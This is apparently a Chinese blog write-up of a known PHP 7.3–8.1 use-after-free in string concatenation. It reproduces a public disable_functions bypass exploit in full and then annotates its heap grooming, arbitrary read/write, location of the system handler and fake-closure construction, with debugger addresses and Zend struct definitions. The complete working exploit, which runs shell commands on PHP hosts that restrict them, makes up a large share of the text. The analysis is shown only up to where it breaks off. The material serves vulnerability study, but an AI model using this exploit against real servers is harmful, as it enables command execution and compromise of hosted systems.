膜拜L1sper大师
1. 简介
PHP 7.3-8.1 中字符串连接符中有一个错误，当参数为数组时会触发错误处理，如果在错误处理回调中删除了相关资源，会造成UAF
POC
<?php
$my_var = str_repeat("a", 1);
set_error_handler(
function() use(&$my_var) {
echo("error\n");
$my_var = 0x123;
}
);
$my_var .= [0];
?>
exp
<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("uname -a");
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
// 0x18是zend_string的头大小
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构，其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来，不带索引数组，共计32*32+8=1032字节，要分配24号规格内存
// 为什么要这个操作，不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
// concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580，这是concat产生的结果。
// 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置，concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置
$fill = self::alloc(self::STRING_SIZE);
// 为啥要这个操作，没有还不行
// STRING_SIZE能分配到95字节的内存空间
// $fill的zend_string地址是0x7ffff3a84500
// 二者大小相同,地址紧挨,相距0x80
// 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80
// 为什么$fill在'Array'+'A'*66的前面呢
printf("0x%x\n",$concat_str_addr);
$this->abc = self::alloc(self::STRING_SIZE);
var_dump($fill);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {//开始UAF
$arr = [[], []];//首先是数组
$buf=null;//然后是一个临时变量
set_error_handler(function() use (&$arr, &$buf) {
$arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放
// 这一步操作会调用zend_array_destroy回收内存
// ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中，将$arr中存储的zend_array地址视为垃圾(garbage)，调用rc_dtor_func回收
// $arr对应的zval.value的值变为1.
// zend_mm_free_small回收了$arr的内存，重新挂载到了slot——16,320字节大小的链表头上。
// $arr结构的arData结构在0x7ffff3a5d288，释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80，时9号规格的small内存，96字节
// 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280，$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节)
// 为啥从0x7ffff3a5d280跟前开始释放呢，$arr时pack array，不需要索引数组，所以其只有两个单位的值为-1的索引数组，索引数组一个solt占4个字节，两个就是8字节
// 索引数组就在Bucket的签名，通过相关size的计算可以得出索引数组的大小，这里算得索引数组的大小为2，所以最后释放的地址就是0x7ffff3a5d280，其offset=8的位置就是arData，即第一个Bucket
// 这个未初始化的数组是在编译阶段就分配的，分配Bucket时，最少一次分配8个，每个32B，共256B再加上8个字节的索引数组，共计264B，能容纳这么多最小规格时16号320B大小的small内存
// zend_string头有24字节，分配255长度的字符串内存，共计需要279B，也会分配到16号规格内存，如此，UAF的条件达到
// 调用栈
/*
zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280)
zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370)
_efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549)
zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635)
rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57)
zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131)
ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205)
zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812)
_call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644)
zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366)
zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480)
__zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889)
zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925)
concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829)
zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312)
ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109)
zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913)
zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665)
*/
$buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体
// 经过对原来的arr结构地址设置数据更改断点发现，arr原本的位置被str_repeat函数操作时覆盖
// 在一次调试中，_zend_array存储在0x7ffff3a59a80，这是一个哈希表，arData存储在0x7ffff3a5d288，Bucket长度2
// 新分配的字符串长度255，占空间287，emalloc得到地址0x7ffff3a5d280
// 该地址在16号规格small内存中,320B
// // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置，concat的错误使得该匿名函数被调用，即ZEND_ERROR被执行，ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
// op2是长度为一个96（0x60）标准存储单元大小的zend_string结构体，op1是zval_struct结构体
//op1是数组，op2是字符串，concat时，引发错误，掉头error handler的回调函数，$arr变量的内存指向zval_struct，
//offset+0偏移处的成员是一个_zend_array结构体的地址，现在其值就是1，数字1，一个64位地址，里面只有1。
//在这一部操作中，op1是引用类型的值，handler发现其是引用，就提取出它引用的内容，发现是一个数组，然后调用宏SEPARATE_ARRAY来分离数组
// 引用计数只有1时，分离操作不起作用，否则，垃圾回收机制会删除一次引用
// 在赋值操作实际执行时，$arr所代表的数组被提取出来作为实际操作数
// 对于的handler是ASSIGN_DIM_OP，操作数 op1是$arr,op2是1,根据指令的特点，该handler会调用下一条指令的数据，OP_DATA的操作数，及alloc产生的字符串
// 于是 op1是$arr[1]，是数组，op2是字符串'\x00'*255
// 因为op1的是array，所以触发ZEND_ERROR
// zend_fetch_dimension_address_inner_RW_CONST，handler调用该函数在哈希表中对数组取值
// $arr[1]的地址在0x7ffff3a5d2a8
/* */
// ZEND_ERROR执行后，__zval_get_string_func返回一个zend_known_strings的地址，其内容时Array，并赋给了op1_copy，暂存op1，（此时真正的op1已经被字符串覆盖了）
// 因为时.=这种自操作，所以指令中的result和op1的地址相同，对result的操作就是对op1的操作
// op1_copy得到值后，op1_copy的地址被赋回op1，即op1表示zend_known_strings，即"Array"的地址
// 此时，result指向"\x00"*255的zval，op2指向66字节长度的alloc函数产生的字符串，最终concat_function返回了'Array'+'A'*66这段字符串，$buf的zval.value也指向了新分配的存储这块内存
// $buf的zval.value本来是全0，$buf本身的结构在0x7ffff3a5d280，但是op1的引用在0x7ffff3a5d2a8，有40个字节的偏移
// 执行这句ZVAL_NEW_STR(result, result_str)时，0x7ffff3a5d2a8的zval.value被赋值，指向'Array'+'A'*66这段字符串zend_string
// 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址
// offset=16因为$buf在0x7ffff3a5d280，result在0x7ffff3a5d2a8，相差40字节，除去0x7ffff3a5d280开始的24字节字符串zend_string的头外，再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。
file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf);
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}
?>
2. UAF分析
<?php
$arr = [[], []];//首先是数组
arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
?>
set_error_handler会设置错误处理句柄，当PHP执行报错时，调用该函数
.=是PHP赋值操作附加字符串连接，这里对应操作是ZEND_ASSIGN_DIM_OP，意思就是数组降维，说白了就是取数组元素。
赋值的参数是zval（IS_STRING：66*'\0'），被赋值的是一个zend_empty_array，然后进入 zend_binary_op进行赋值操作
参数列表是（ret=arr[1]，op1=arr[1]，op2=zval@66*'\0'），此处因为是.= ，即自赋值，返回值和op1是一样的
zend_binary_op函数中定义了各种不同类型的操作句柄，由Opcode的扩展值决定使用那种操作
static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC)
{
static const binary_op_type zend_binary_ops[] = {
add_function,
sub_function,
mul_function,
div_function,
mod_function,
shift_left_function,
shift_right_function,
concat_function,
bitwise_or_function,
bitwise_and_function,
bitwise_xor_function,
pow_function
};
/* size_t cast makes GCC to better optimize 64-bit PIC code */
size_t opcode = (size_t)opline->extended_value;
return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2);
}
//op fetch ext return operands
//ASSIGN_DIM_OP .= 8 !0, 1
//此处的扩展值是8，即调用concat_function进行操作
\$arr存了一串Bucket，每个Bucket里面带了一个zval，对于\$arr来说，每个元素是一个zend_array
跟进concat_function：
首先验证op1是不是字符串，如果不是，字符串，就尝试使用zval_get_string_func(op1)从中得到字符串
跟进zval_get_string_func：
判断类型，发现是IS_ARRAY，调用zend_error，触发回调错误处理句柄
<?php
$buf=null;
set_error_handler(function() use (&$arr, &$buf){
$arr = 2;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
在错误处理句柄中，\$arr被重新赋值，导致其本来对应的那块空间被销毁，即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构，以及哈希表数据存储的部分，即Bucket所在的部分。
以某次调试为例，zval_get_string_func的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8，它是第二个Bucket，一个Bucket的大小是32B，然后packed类型的未初始化数组的数组索引表大小是2，每个索引值都是-1，size是32b即4字节，arData的地址就是0x7ffff3a5d288，整个数据部分的地址就是0x7ffff3a5d280，当前arr这个数组共有8个Bucket，2个索引，共计264字节，加上调试信息32字节，这块结构共计296字节，占据32号RUN规格的内存。根据地址计算得到验证。
buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18 -1的内容。0x118是280B，即分配255长的字符串，需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B，因为分配字符串时还会带上zend_mm_debug_info的32字节，所以需要额外32字节，即共需312B空间，最后分配得到320B的空间，刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'\0'，来自于
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构，其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来，不带索引数组，共计32*32+8=1032字节，要分配24号规格内存
// 为什么要这个操作，不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串，消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串，消耗10个16号RUN空间
}
继续，错误处理完后，op1的位置已经不复存在了，op1指向了一个新的字符串”Array“，上面提到的255*‘\0’放在buf中。
回到concat_function，处理完op1后，再处理op2，op2本身就是字符串66*A，拼接后得到‘Array+66*A，此时返回值是存储再0x7ffff3a5d2a8处的，所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处
此时，\$buf中的zend_string首地址就是0x7ffff3a5d280，字符串内容的地址就是0x7ffff3a5d298，在字符串内容偏移+16处，即zend_string+40处。这样我们就能够得到‘Array+66*A的zval结构（地址0x7ffff3a84580，type=6=IS_STRING）。同时，能够控制通过buf对该位置值的控制，读取任意地址的内容。
3. 利用分析
然后是
$this->abc = self::alloc(self::STRING_SIZE);
STRING_SIZE在调试环境下始终是47，分配到0x80=128B的内存空间。
前面提到的Array+66*A长度也是STRING_SIZE，二者占据的大小相同，空间相邻。
$fill = self::alloc(self::STRING_SIZE);
是为了消耗掉Array+66*A前面的0x80的空间，避免$this->abc分配到其前面，导致后面计算abc的地址的计算方法错误（==有一个问题，为何Array+66*A前面还会有空间空着==）
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
有一个问题，为何Array+66*A前面还会有空间空着：
根据调试，这是op2参数的位置。。。，用完之后会被释放，即0x7ffff3a84500在链表首。
回到前面，abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。
此时进行了另一个操作
$this->free($abc_addr);
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间
$arr = [[], []];//320B的空间
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);//数组的320B被填充
});
$arr[1] .= "x";
}
free函数的功能很明显和heap_leap很相似，只不过填充arData空间的不再是全0。根据前面的分析，这里又分配了一个320字节的块，并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA填充，
重点：然后，在销毁该哈希表的时候，会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680，arData就在0x00007ffff3a5e688， $arr[1] 就在0x00007ffff3a5e6a8，显然这里存储了一个zval
zval_struct{
.value = 0x00007ffff3a5e6a8;
.u1.v.type = 6
}
这里就会被识别为一个字符串，然后其引用值为1，释放的时候就会被直接释放掉。所以$this->abc这里的0x80 = 128字节就会空出来
free函数执行完后，buf是指向长度0xdeadbeef的字符串，zend_string地址在0x7ffff3a5e680，$arr[1] .= "x"的结构存储在0x00007ffff3a92f80;
继续，
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
这里新建了一个类，对应ZEND_NEW操作，其会从EG(class_table)全局类表中找到对应的zend_class_entry结构的地址，此处为0x7ffff3a04018，该结构大小为456B，然后调用object_init_ex初始化一个对象出来（0x7ffff3a84600）。分配对象的时候用到了zend_objects_new，计算出的需要分配的大小是
56 + 16*2 +32= 120 其中（(ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1），刚好分配到free(abc)所得到的空间。
其中的成员变量b被赋予了一个闭包函数，即从EG(function_table)里面找到了zend_function结构，该结构大小224，该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240（注意url解码）。zend_function结构和zend_op_array具有相同大小，切二者拥有相同的common部分
union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
uint32_t quick_arg_flags;
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
然后是计算helper对象的地址
$helper_handlers = $this->rel_read(0);
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
前面提到，$this->abc会引用到一块已经空闲的0x80=128大小的空间，分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间，于是$this->abc现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
//根据这两个结构的对比以及字节对齐的原理，val处的值就是对象对应的zend_object_handlers，字符串长度就是ce的地址
ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce)
{
zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce));
_zend_object_std_init(object, ce);
object->handlers = &std_object_handlers;
return object;
}
static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce)
{
return sizeof(zval) *
(ce->default_properties_count -
((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1));
}
据此，可以读取到helper的zend_object中的handlers地址
$helper_handlers = $this->rel_read(0);
然后是closure，这里其实读到的就是$helper->b对应的zend_object结构的地址（zval中的地址值存储在最前面）
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
再然后是读取closure_ce，
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
读取方法如下：0x10偏移处是 $helper->a的zval，更改其value字段为要读取的addr-0x10，就能使用字符串长度获取到对应的值（len字段在zend_string的0x10偏移处，读取len就需要给定zend_string的地址，即将zval的value字段覆盖为addr-0x10）
此时达到了任意地址读的目的，然后就是读取helper->b的匿名函数_zend_object的偏移0x10处的值，即zend_object.ce;，是类的描述结构zend_class_entry的地址。该结构内部包含方法所属类名，父类名，各种魔术方法等。
struct _zend_class_entry {
char type;
zend_string *name;
/* class_entry or string depending on ZEND_ACC_LINKED */
union {
zend_class_entry *parent;
zend_string *parent_name;
};
int refcount;
uint32_t ce_flags;
int default_properties_count;
int default_static_members_count;
zval *default_properties_table;
zval *default_static_members_table;
ZEND_MAP_PTR_DEF(zval *, static_members_table);
HashTable function_table;
HashTable properties_info;
HashTable constants_table;
struct _zend_property_info **properties_info_table;
zend_function *constructor;
zend_function *destructor;
zend_function *clone;
zend_function *__get;
zend_function *__set;
zend_function *__unset;
zend_function *__isset;
zend_function *__call;
zend_function *__callstatic;
zend_function *__tostring;
zend_function *__debugInfo;
zend_function *serialize_func;
zend_function *unserialize_func;
/* allocated only if class implements Iterator or IteratorAggregate interface */
zend_class_iterator_funcs *iterator_funcs_ptr;
/* handlers */
union {
zend_object* (*create_object)(zend_class_entry *class_type);
int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */
};
zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref);
zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method);
/* serializer callbacks */
int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data);
int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data);
uint32_t num_interfaces;
uint32_t num_traits;
/* class_entry or string(s) depending on ZEND_ACC_LINKED */
union {
zend_class_entry **interfaces;
zend_class_name *interface_names;
};
zend_class_name *trait_names;
zend_trait_alias **trait_aliases;
zend_trait_precedence **trait_precedences;
union {
struct {
zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;
} user;
struct {
const struct _zend_function_entry *builtin_functions;
struct _zend_module_entry *module;
} internal;
} info;
};
再者是获取函数基地址,
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
读取方法是根据ce的地址，在其前面查找，根据MODULE_API_NO进行验证查找模块结构zend_module_entry
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
int (*module_startup_func)(INIT_FUNC_ARGS);
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
int (*request_startup_func)(INIT_FUNC_ARGS);
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
int (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};
offset=0处事size，offset=4处是zend_api，一般是20180731、20190902、20200930、20210902中之一，offset=0x20处是模块名name的地址。
为什么可以在ce的附近找到module呢，因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到，该结构在do_register_internal_class中被malloc分配并初始化，在加载启动Core模块时被分配在堆空间中。
调用栈如下：
而standard模块的zend_module_entry结构在php_register_internal_extensions_func注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈：
这里向哈希表中添加内容时，该哈希表的GC位被设置了IS_ARRAY_PERSISTENT，即被分配于系统malloc区内。
所以，ce和module都在堆中，可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。
#define ZEND_MODULE_API_NO 20190902
#define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS
zend_module_entry basic_functions_module = { /* {{{ */
STANDARD_MODULE_HEADER_EX,
NULL,
standard_deps,
"standard", /* extension name */
basic_functions, /* function list */
PHP_MINIT(basic), /* process startup */
PHP_MSHUTDOWN(basic), /* process shutdown */
PHP_RINIT(basic), /* request startup */
PHP_RSHUTDOWN(basic), /* request shutdown */
PHP_MINFO(basic), /* extension info */
PHP_STANDARD_VERSION, /* extension version */
STANDARD_MODULE_PROPERTIES
};
_zend_module_entry偏移为0x24的位置是_zend_function_entry结构的地址，里面存放了该模块所有的函数，其中就包括了PHP_FE(system,arginfo_system)
依次读出_zend_function_entry列表里的每一个zend_function_entry结构，为其分配zend_internal_function大小的堆空间，然后拷贝zend_function前面一部分内容。因为zend_function是一个联合体，里面zend_op_array是最大的，所以拷贝前面zend_internal_function大小就可以了。这个新的zend_internal_function结构的指针将会被添加到全局函数表中。我们找到的其实是被全局定义在zend_module_entry的function列表中的basic_functions。
typedef struct _zend_function_entry {
const char *fname;
zif_handler handler;
const struct _zend_internal_arg_info *arg_info;
uint32_t num_args;
uint32_t flags;
} zend_function_entry;
handler就是真正的函数地址
我们要做的就是将找到的_zend_function_entry结构赋给zend_function的handler
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
接下来就是构造一个假的闭包函数，让他成为内部函数。
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
对于($this->helper->b)($cmd);类的动态调用，会进入zend_init_dynamic_call_object逻辑，获取对象的get_closure句柄并调用。
在zend_init_dynamic_call_object内，传入的obj指针被强转为zend_closure闭包，其实在编译的时候，分配的空间大小就是按照_zend_closure分配的（加上调试信息共需要344B，分配得到17号RUN，384B），其中第一个成员就是_zend_object。
转换为闭包后，能够读取到其对应得zend_function、zend_class_entry等。
typedef struct _zend_closure {//312B
zend_object std;//56B
zend_function func;//224B
zval this_ptr;//16B
zend_class_entry *called_scope;
zif_handler orig_internal_handler;//8B typedef void (ZEND_FASTCALL *zif_handler)(INTERNAL_FUNCTION_PARAMETERS)
} zend_closure;
//对比
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
数据复制的大概流程是
向abc所在的空间即helper对象对应的zend_object内容的0x70=112的偏移处开始写值（一个zend_object是56字节，这里隔了一个zend_object的空间），数据来源是闭包函数helper->b对应的zend_object（或者可以说是zend_closure）的内容。共计复制0x138=312B=sizeof(zend_closure)的内容。按理来说，这块内存并没有被分配出来，而且规格不对。但是我们能写入的内容只能是在abc内以及abc的后面
